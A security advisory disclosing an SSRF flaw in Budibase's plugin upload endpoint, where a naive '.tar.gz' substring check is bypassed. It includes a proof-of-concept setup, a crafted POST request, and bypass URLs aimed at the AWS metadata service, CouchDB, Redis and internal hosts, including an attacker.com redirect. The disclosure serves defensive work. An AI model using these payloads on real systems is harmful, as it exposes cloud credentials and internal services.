Vulnerability GHSA-xh5j-727m-w6gg
Summary
Budibase vulnerable to SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload (`/api/plugin`)
Details
1. Summary
| Field | Value |
|---|---|
| Title | SSRF via trivial .tar.gz substring bypass in Plugin URL upload |
| Product | Budibase (Self-Hosted) |
| Version | ≤ 3.34.11 (latest stable as of 2026-03-30) |
| Component | packages/server/src/api/controllers/plugin/url.ts |
| Vulnerability Type | CWE-918: Server-Side Request Forgery (SSRF), CWE-184: Incomplete List of Disallowed Inputs |
| Severity | High (chained) / Medium (standalone) |
| CVSS 3.1 Score (chained) | 7.7 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| CVSS 3.1 Score (standalone) | 5.4 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N |
| Attack Vector | Network |
| Privileges Required | Low (Global Builder role) |
| User Interaction | None |
| Affected Deployments | All Budibase instances with plugin loading enabled (default) |
3. Root Cause Analysis
3.1 Trivial substring-based URL validation
File: packages/server/src/api/controllers/plugin/url.ts
// Lines 7-19
export async function urlUpload(url: string, name = "", headers = {}) {
if (!url.includes(".tar.gz")) {
// ← ONLY validation: any URL with ".tar.gz" anywhere passes
throw new Error("Plugin must be compressed into a gzipped tarball.")
}
const path = await downloadUnzipTarball(url, name, headers)
// ↑ url is passed directly — no host allowlist, no scheme check, no path normalization
try {
return await getPluginMetadata(path)
} catch (err) {
deleteFolderFileSystem(path)
throw err
}
}
Problem: url.includes(".tar.gz") checks for a substring anywhere in the full URL string. It does not validate hostname, scheme, or that .tar.gz appears as an actual file extension at the end of the path.
3.2 Bypass examples
| Attack URL | includes(".tar.gz") |
Actual request target |
|---|---|---|
http://169.254.169.254/.tar.gz |
✅ passes | AWS IMDS |
http://127.0.0.1:4005/_session.tar.gz |
✅ passes | CouchDB |
http://10.0.0.1:6379/.tar.gz |
✅ passes | Redis |
http://attacker.com/file.tar.gz?x=http://internal/ |
✅ passes | Redirect to internal |
http://internal-host/.tar.gz#fragment |
✅ passes | Internal service |
3.3 Developer awareness of SSRF risk on this path
File: packages/backend-core/src/objectStore/tests/objectStore.spec.ts
// Line 393
it("uses fetchWithBlacklist in downloadTarballDirect", async () => {
downloadTarballDirect("http://169.254.169.254/metadata/v1/", "tmp")
// ← team explicitly tests that IMDS is blocked via blacklist
})
The team knows this code path can reach IMDS. They rely on fetchWithBlacklist as the defense — but never tested the .tar.gz substring bypass that trivially routes around it at the URL validation layer.
3.4 Authorization model
| Operation | Endpoint | Required Permission |
|---|---|---|
| Plugin URL upload | POST /api/plugin |
Global Builder |
Key insight: The plugin endpoint is behind globalBuilderRoutes, which requires Global Builder permission. This is a low-privilege role routinely granted to developers on self-hosted instances.
5. Proof of Concept
Verification status: Code-level confirmed. End-to-end Docker test pending. PoC files are ready:
poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py+docker-compose.yml
5.1 Environment Setup
# poc/004_plugin_url_ssrf/docker-compose.yml
services:
budibase:
image: budibase/budibase:latest
environment:
SELF_HOSTED: "1"
BLACKLIST_IPS: "" # ← enables chained SSRF (001)
JWT_SECRET: "poc_jwt_secret"
BB_ADMIN_USER_EMAIL: "[email protected]"
BB_ADMIN_USER_PASSWORD: "pocPassword123!"
ports: ["10000:10000"]
victim:
image: python:3.11-alpine
command: python -m http.server 8888
cd poc/004_plugin_url_ssrf
docker-compose up -d
python3 poc_004_plugin_url_ssrf.py --target http://localhost:10000
5.2 Step 1 — Bypass the .tar.gz check with a crafted URL
POST /api/plugin HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=<builder-session-cookie>
Content-Type: application/json
{
"source": "URL",
"url": "http://victim:8888/.tar.gz",
"name": "poc-test"
}
The url.includes(".tar.gz") check passes because .tar.gz appears in the path. The URL http://victim:8888/.tar.gz is not a valid tarball — but the string check doesn't know that.
5.3 Step 2 — Expected response (SSRF confirmed)
With blacklist active (default config):
{ "message": "Failed to import plugin: URL is blocked or could not be resolved safely." }
With BLACKLIST_IPS="" (chained with 001):
{ "message": "Failed to import plugin: incorrect header check" }
The "incorrect header check" error (zlib decompressor receiving HTTP response headers) proves the request reached victim:8888. The .tar.gz substring check was bypassed, and the HTTP fetch completed.
5.4 Additional bypass payloads tested (code-level only)
| URL | Check bypass | Intended target |
|---|---|---|
http://169.254.169.254/.tar.gz |
✅ | AWS IMDS |
http://127.0.0.1:4005/_session.tar.gz |
✅ | CouchDB |
http://127.0.0.1:6379/.tar.gz |
✅ | Redis |
http://attacker.com/real.tar.gz (redirects to http://10.0.0.1/) |
✅ | Internal via redirect |
7. Affected Code Paths
POST /api/plugin (Global Builder auth)
│
▼
packages/server/src/api/controllers/plugin/index.ts
│ source === "URL" → urlUpload(url, name, headers)
▼
packages/server/src/api/controllers/plugin/url.ts:8
│ if (!url.includes(".tar.gz")) throw ← ONLY check — trivially bypassed
│ → "http://169.254.169.254/.tar.gz" passes
▼
packages/server/src/utilities/fileSystem/plugins.ts
│ downloadUnzipTarball(url, name, headers)
▼
packages/backend-core/src/objectStore/objectStore.ts:703
│ downloadTarballDirect(url, path, headers)
▼
packages/backend-core/src/objectStore/utils/outboundFetch.ts
│ fetchWithBlacklist(url, options)
│ isBlacklisted(hostname)
│
├─ [default config] → BlockList has 9 private ranges → 169.254.x BLOCKED ✓
│
└─ [BLACKLIST_IPS set, chained with 001] → empty BlockList → 169.254.x REACHABLE ✗
9. References
- CWE-918: Server-Side Request Forgery (SSRF) — https://cwe.mitre.org/data/definitions/918.html
- CWE-184: Incomplete List of Disallowed Inputs — https://cwe.mitre.org/data/definitions/184.html
- OWASP SSRF Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
- Related finding: [001]
BLACKLIST_IPSbypass —report/raw/001_ssrf_blacklist_bypass.md - Developer SSRF awareness test:
packages/backend-core/src/objectStore/tests/objectStore.spec.ts:393
Related Vulnerabilities
Other vulnerabilities affecting the same packages